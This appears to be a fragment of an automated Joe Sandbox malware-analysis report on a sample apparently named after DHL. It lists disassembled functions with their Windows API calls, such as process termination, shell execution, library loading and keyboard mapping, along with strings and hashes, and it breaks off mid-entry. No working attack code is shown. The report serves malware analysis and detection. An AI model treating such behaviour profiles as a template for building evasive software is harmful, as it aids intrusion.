API String ID: 1413079979-0
Opcode ID: 52a78c0cb7b128d395c3669605d7ee1cd0ee6e803fab26f8ab75f0ce2d6d5433
Instruction ID: c41f492ec5823d33b666d015798fbaf4c8829f3ce0569b3b44149f80e4284793
Opcode Fuzzy Hash: 52a78c0cb7b128d395c3669605d7ee1cd0ee6e803fab26f8ab75f0ce2d6d5433
Instruction Fuzzy Hash: FE1156B250020DABDF11CFE8ED49FDE7BA9EF48718F044024FA05A60A0C3769E65DB60

Function 009C3382 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,009C3379,009C2FE5), ref: 009C3390
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 009C339E
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 009C33B7
SetLastError.KERNEL32(00000000,?,009C3379,009C2FE5), ref: 009C3409

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: d2042e39ec4d64987e52928261f91e0c87c8f9fe6da66da4cfd93c1445d4855c
Instruction ID: 312eea314c76fb29886d59c6c082e1e7a0b41e80c74b4b5bc44a4927a1f7b5fc
Opcode Fuzzy Hash: d2042e39ec4d64987e52928261f91e0c87c8f9fe6da66da4cfd93c1445d4855c
Instruction Fuzzy Hash: 53012432E0C711BEE62427B47C96F762AA8EB45379360C32EF410852F0FF514D025286

Function 009D2D74 Relevance: 9.0, APIs: 6, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,009D5686,009E3CD6,?,00000000,?,009D5B6A,?,?,?,?,?,009CE6D1,?,00A68A48), ref: 009D2D78
_free.LIBCMT ref: 009D2DAB
_free.LIBCMT ref: 009D2DD3
SetLastError.KERNEL32(00000000,?,?,?,?,009CE6D1,?,00A68A48,00000010,009A4F4A,?,?,00000000,009E3CD6), ref: 009D2DE0
SetLastError.KERNEL32(00000000,?,?,?,?,009CE6D1,?,00A68A48,00000010,009A4F4A,?,?,00000000,009E3CD6), ref: 009D2DEC
_abort.LIBCMT ref: 009D2DF2

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: ErrorLast$_free$_abort
String ID:
API String ID: 3160817290-0
Opcode ID: 3fc6ef54117cc636e30bf7abcd047474e347de6eb9013d3c77273cc685083414
Instruction ID: 68f7a7c35b3c0145952efe3c5a467968eb23e294a49c0d7365d6b1746abab0a5
Opcode Fuzzy Hash: 3fc6ef54117cc636e30bf7abcd047474e347de6eb9013d3c77273cc685083414
Instruction Fuzzy Hash: 24F0CD355C460067C21267747C06F5B266F6FE27B1F25C517F464A73D2EE6488025271

Function 00A38A24 Relevance: 9.0, APIs: 6, Instructions: 49COMMON

Download Yara Rule

APIs

Part of subcall function 009B9639: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 009B9693
Part of subcall function 009B9639: SelectObject.GDI32(?,00000000), ref: 009B96A2
Part of subcall function 009B9639: BeginPath.GDI32(?), ref: 009B96B9
Part of subcall function 009B9639: SelectObject.GDI32(?,00000000), ref: 009B96E2

MoveToEx.GDI32(?,-00000002,00000000,00000000), ref: 00A38A4E
LineTo.GDI32(?,00000003,00000000), ref: 00A38A62
MoveToEx.GDI32(?,00000000,-00000002,00000000), ref: 00A38A70
LineTo.GDI32(?,00000000,00000003), ref: 00A38A80
EndPath.GDI32(?), ref: 00A38A90
StrokePath.GDI32(?), ref: 00A38AA0

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: Path$LineMoveObjectSelect$BeginCreateStroke
String ID:
API String ID: 43455801-0
Opcode ID: 1207b901bb2bcd7d18154d2eb1cbd92219df59249dc2a415d8749698c3624b71
Instruction ID: cdda1c94659081a9561c33c747ce215edd105305a23d8cb21176f63c2195c10b
Opcode Fuzzy Hash: 1207b901bb2bcd7d18154d2eb1cbd92219df59249dc2a415d8749698c3624b71
Instruction Fuzzy Hash: 2911CC7640014DFFDB11DFD4DC48E9A7F6DEB05364F048011FA1999161C7719D56DB60

Function 00A051FD Relevance: 9.0, APIs: 6, Instructions: 49COMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 00A05218
GetDeviceCaps.GDI32(00000000,00000058), ref: 00A05229
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00A05230
ReleaseDC.USER32(00000000,00000000), ref: 00A05238
MulDiv.KERNEL32(000009EC,?,00000000), ref: 00A0524F
MulDiv.KERNEL32(000009EC,00000001,?), ref: 00A05261

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: CapsDevice$Release
String ID:
API String ID: 1035833867-0
Opcode ID: 60169d6a776f325ad0a7324bf8806c25220a5035b0591f8aa5edf8afdc2929ed
Instruction ID: 585e420d12057e27e71d22271f73f550da0c936f1e12e031982d861064148eb4
Opcode Fuzzy Hash: 60169d6a776f325ad0a7324bf8806c25220a5035b0591f8aa5edf8afdc2929ed
Instruction Fuzzy Hash: 91014F75E00718BBEB109BF59C49B5EBFB8EF48761F044065FA04E7291D6709901CFA0

Function 009A1BC3 Relevance: 9.0, APIs: 6, Instructions: 44keyboardCOMMON

Download Yara Rule

APIs

MapVirtualKeyW.USER32(0000005B,00000000), ref: 009A1BF4
MapVirtualKeyW.USER32(00000010,00000000), ref: 009A1BFC
MapVirtualKeyW.USER32(000000A0,00000000), ref: 009A1C07
MapVirtualKeyW.USER32(000000A1,00000000), ref: 009A1C12
MapVirtualKeyW.USER32(00000011,00000000), ref: 009A1C1A
MapVirtualKeyW.USER32(00000012,00000000), ref: 009A1C22

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: Virtual
String ID:
API String ID: 4278518827-0
Opcode ID: 49e819b7814d94e68da622e601b9ac326db4ef3ce621dc8f2568275bb6a970dd
Instruction ID: 74b703975d66cc58a9cc6e4452c1a5f2f5891e44dc75f26e2634c1a1742ffddf
Opcode Fuzzy Hash: 49e819b7814d94e68da622e601b9ac326db4ef3ce621dc8f2568275bb6a970dd
Instruction Fuzzy Hash: 820167B0902B5ABDE3008F6A8C85B52FFA8FF19354F00411BA15C4BA42C7F5A864CBE5

Function 00A0EB20 Relevance: 9.0, APIs: 6, Instructions: 42windowtimethreadCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,00000000), ref: 00A0EB30
SendMessageTimeoutW.USER32(?,00000010,00000000,00000000,00000002,000001F4,?), ref: 00A0EB46
GetWindowThreadProcessId.USER32(?,?), ref: 00A0EB55
OpenProcess.KERNEL32(001F0FFF,00000000,?,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 00A0EB64
TerminateProcess.KERNEL32(00000000,00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 00A0EB6E
CloseHandle.KERNEL32(00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 00A0EB75

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: Process$Message$CloseHandleOpenPostSendTerminateThreadTimeoutWindow
String ID:
API String ID: 839392675-0
Opcode ID: 38ee2948ef8f1faff6606852f8ea731c516f300a2fa51cadd3908b05a8656270
Instruction ID: 089a4777de07f89127d4131fb913b436d1115f196fa07cfd732802134edc3f0f
Opcode Fuzzy Hash: 38ee2948ef8f1faff6606852f8ea731c516f300a2fa51cadd3908b05a8656270
Instruction Fuzzy Hash: 1FF05E72240158BBE7219BA29C0EEEF7E7CEFCBB21F004158F601E1091D7A45A02D7B5

Function 009F7439 Relevance: 9.0, APIs: 6, Instructions: 37windowCOMMON

Download Yara Rule

APIs

GetClientRect.USER32(?), ref: 009F7452
SendMessageW.USER32(?,00001328,00000000,?), ref: 009F7469
GetWindowDC.USER32(?), ref: 009F7475
GetPixel.GDI32(00000000,?,?), ref: 009F7484
ReleaseDC.USER32(?,00000000), ref: 009F7496
GetSysColor.USER32(00000005), ref: 009F74B0

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: ClientColorMessagePixelRectReleaseSendWindow
String ID:
API String ID: 272304278-0
Opcode ID: 81d9b3d3a3919f310e8495265aab18ea9d800a1d4b9a184660440fc4ba8c1b55
Instruction ID: 857f6821581bf6d06b5662f21eee8b7092e1387f47be16a35d8ff85cf8c968e7
Opcode Fuzzy Hash: 81d9b3d3a3919f310e8495265aab18ea9d800a1d4b9a184660440fc4ba8c1b55
Instruction Fuzzy Hash: 77014B31400619EFEB519FE4DC0ABAABBB6FB04321F514564FA16A21B1CB351E52AB50

Function 00A01874 Relevance: 9.0, APIs: 6, Instructions: 23memorysynchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000000FF), ref: 00A0187F
UnloadUserProfile.USERENV(?,?), ref: 00A0188B
CloseHandle.KERNEL32(?), ref: 00A01894
CloseHandle.KERNEL32(?), ref: 00A0189C
GetProcessHeap.KERNEL32(00000000,?), ref: 00A018A5
HeapFree.KERNEL32(00000000), ref: 00A018AC

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: CloseHandleHeap$FreeObjectProcessProfileSingleUnloadUserWait
String ID:
API String ID: 146765662-0
Opcode ID: 4e7806e31044741af0454cc71cf22a335d402ca69a4659bfa971041083a87fe2
Instruction ID: 2ae0c9f1f88aeeeb32bc6521781a37196769f5c2cf0e810972c63753889b299d
Opcode Fuzzy Hash: 4e7806e31044741af0454cc71cf22a335d402ca69a4659bfa971041083a87fe2
Instruction Fuzzy Hash: 7EE0C236004101BBDA419BE1ED0C90ABB29FB49B32B108220F225A5070CB329432EB50

Function 00A0C5D0 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 191windowCOMMON

Download Yara Rule

APIs

Part of subcall function 009A7620: _wcslen.LIBCMT ref: 009A7625

GetMenuItemInfoW.USER32(?,?,00000000,?), ref: 00A0C6EE
_wcslen.LIBCMT ref: 00A0C735
SetMenuItemInfoW.USER32(?,?,00000000,?), ref: 00A0C79C
SetMenuDefaultItem.USER32(?,000000FF,00000000), ref: 00A0C7CA

Strings

0, xrefs: 00A0C6AF

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: ItemMenu$Info_wcslen$Default
String ID: 0
API String ID: 1227352736-4108050209
Opcode ID: 125ba4b7520031109bbcc05879711db67e630b784eb1fd40292172f572be23ba
Instruction ID: 0fe282626d3b6c78219cbc4d7ffed5ec49965e334bafde7c0c266445eebc071b
Opcode Fuzzy Hash: 125ba4b7520031109bbcc05879711db67e630b784eb1fd40292172f572be23ba
Instruction Fuzzy Hash: 0151AD716043089BD7659F28EC85B6A77E8AB89320F044B29F995E21E0DB64D9058B92

Function 00A2AD64 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 176COMMON

Download Yara Rule

APIs

ShellExecuteExW.SHELL32(0000003C), ref: 00A2AEA3

Part of subcall function 009A7620: _wcslen.LIBCMT ref: 009A7625

GetProcessId.KERNEL32(00000000), ref: 00A2AF38
CloseHandle.KERNEL32(00000000), ref: 00A2AF67

Strings

<, xrefs: 00A2AE6B
@, xrefs: 00A2AE72

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: CloseExecuteHandleProcessShell_wcslen
String ID: <$@
API String ID: 146682121-1426351568
Opcode ID: f390d3044f271b40505759d4425ee2e4898cc8634f140b64b8aecc72e6f3ffeb
Instruction ID: 7c9411bc5e875c4d613bfc8e247d6633340baadb46d35d1c96151f05e57ea71e
Opcode Fuzzy Hash: f390d3044f271b40505759d4425ee2e4898cc8634f140b64b8aecc72e6f3ffeb
Instruction Fuzzy Hash: 7D718C71A00625DFCB14EF98D885A9EBBF0FF49310F0584A9E816AB352CB74ED45CB91

Function 00A0719E Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 120comlibraryloaderCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(?,00000000,00000005,?,?,?,?,?,?,?,?,?,?,?), ref: 00A07206
SetErrorMode.KERNEL32(00000001,?,?,?,?,?,?,?,?,?), ref: 00A0723C
GetProcAddress.KERNEL32(?,DllGetClassObject), ref: 00A0724D
SetErrorMode.KERNEL32(00000000,?,?,?,?,?,?,?,?,?), ref: 00A072CF

Strings

DllGetClassObject, xrefs: 00A07242

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: ErrorMode$AddressCreateInstanceProc
String ID: DllGetClassObject
API String ID: 753597075-1075368562
Opcode ID: 79ddfd3ad43377fb7c032437f3505139672630e3c5408311651b9722f9470a27
Instruction ID: 0737f9648b5bc2464ecc471577623a30175fb81b328491a67709aa13d3ffcfa8
Opcode Fuzzy Hash: 79ddfd3ad43377fb7c032437f3505139672630e3c5408311651b9722f9470a27
Instruction Fuzzy Hash: 4B419171A04208EFDB15CF94D884ADE7BB9EF48310F1580A9BD059F28AD7B1ED41CBA0

Function 00A33D7C Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 101windowCOMMON

Download Yara Rule

APIs

GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00A33E35
IsMenu.USER32(?), ref: 00A33E4A
InsertMenuItemW.USER32(?,?,00000001,00000030), ref: 00A33E92
DrawMenuBar.USER32 ref: 00A33EA5

Strings

0, xrefs: 00A33D89

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: Menu$Item$DrawInfoInsert
String ID: 0
API String ID: 3076010158-4108050209
Opcode ID: 4d22e3479acb8f6ff89175aa8f4c5f0231c364efa9e7186377c8c272c8908ef5
Instruction ID: cd0e5de97af1e89d61fa01dfda6fb3ab18a34dd9b4bf41b0391a792e6da05d17
Opcode Fuzzy Hash: 4d22e3479acb8f6ff89175aa8f4c5f0231c364efa9e7186377c8c272c8908ef5
Instruction Fuzzy Hash: 2E414676A05209AFDF10DFA4D884AAABBF9FF49360F148129F905A7250D730AE45CF60

Function 00A01DE2 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 93windowCOMMON

Download Yara Rule

APIs

Part of subcall function 009A9CB3: _wcslen.LIBCMT ref: 009A9CBD

Part of subcall function 00A03CA7: GetClassNameW.USER32(?,?,000000FF), ref: 00A03CCA

SendMessageW.USER32(?,00000188,00000000,00000000), ref: 00A01E66
SendMessageW.USER32(?,0000018A,00000000,00000000), ref: 00A01E79
SendMessageW.USER32(?,00000189,?,00000000), ref: 00A01EA9

Part of subcall function 009A6B57: _wcslen.LIBCMT ref: 009A6B6A

Strings

ComboBox, xrefs: 00A01DF0
ListBox, xrefs: 00A01E25

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: MessageSend$_wcslen$ClassName
String ID: ComboBox$ListBox
API String ID: 2081771294-1403004172
Opcode ID: 7e31c26135f6ee6e742bf9f5a44bdd2946b9b00094cc6380a782bb69d4c5e94f
Instruction ID: 61ce97899afb657eeea2bb22c5b1cf12aba84e79992ed89ef33da30c716834de
Opcode Fuzzy Hash: 7e31c26135f6ee6e742bf9f5a44bdd2946b9b00094cc6380a782bb69d4c5e94f
Instruction Fuzzy Hash: DB213B71A00108BFDB149BB4ED46DFFB7B9EF86360F144519F825A71E1DB38490A8760

Function 00A32F17 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 78windowlibraryCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000467,00000000,?), ref: 00A32F8D
LoadLibraryW.KERNEL32(?), ref: 00A32F94
SendMessageW.USER32(?,00000467,00000000,00000000), ref: 00A32FA9
DestroyWindow.USER32(?), ref: 00A32FB1

Strings

SysAnimate32, xrefs: 00A32F68

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: MessageSend$DestroyLibraryLoadWindow
String ID: SysAnimate32
API String ID: 3529120543-1011021900
Opcode ID: 72a723697e11ac8a00211411e6dff55c4982059f53cf1617bace0f03283122c1
Instruction ID: b922fe7022db5f7aa252de46f12d6fc4c019aeae8771347ece4b2e0775a29241
Opcode Fuzzy Hash: 72a723697e11ac8a00211411e6dff55c4982059f53cf1617bace0f03283122c1
Instruction Fuzzy Hash: 1B219D72204205ABEB208FA4DC81FBB77BDEF99364F104618FA50E6190D771DCA19760

Function 009C4D6D Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 38libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,?,009C4D1E,009D28E9,?,009C4CBE,009D28E9,00A688B8,0000000C,009C4E15,009D28E9,00000002), ref: 009C4D8D
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 009C4DA0
FreeLibrary.KERNEL32(00000000,?,?,?,009C4D1E,009D28E9,?,009C4CBE,009D28E9,00A688B8,0000000C,009C4E15,009D28E9,00000002,00000000), ref: 009C4DC3

Strings

mscoree.dll, xrefs: 009C4D86
CorExitProcess, xrefs: 009C4D98

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: e5ba3f91e875f228b990a72ea54d30fa2e9f86aeb6b9944aa1cce419bb27ec13
Instruction ID: 302c3adbdc7fc4d74cd69d685441e61dc9a4a283518c08588de146bce28eda0f
Opcode Fuzzy Hash: e5ba3f91e875f228b990a72ea54d30fa2e9f86aeb6b9944aa1cce419bb27ec13
Instruction Fuzzy Hash: 63F06235A40208BBDB119FD0DC49FADBFB9EF44761F0001A8F906B62A0CB746E41DB92

Function 009A4E90 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 24libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,?,009A4EDD,?,00A71418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 009A4E9C
GetProcAddress.KERNEL32(00000000,Wow64DisableWow64FsRedirection), ref: 009A4EAE
FreeLibrary.KERNEL32(00000000,?,?,009A4EDD,?,00A71418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 009A4EC0

Strings

Wow64DisableWow64FsRedirection, xrefs: 009A4EA8
kernel32.dll, xrefs: 009A4E94

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: Wow64DisableWow64FsRedirection$kernel32.dll
API String ID: 145871493-3689287502
Opcode ID: 48e9fea7b742ae312d574a51bfd40597f8a913238f0e2b5f13b0665768684db2
Instruction ID: e5e82de35d6696d418198740f2450adbb212334b08939da0d6fdbe7b54d4b056
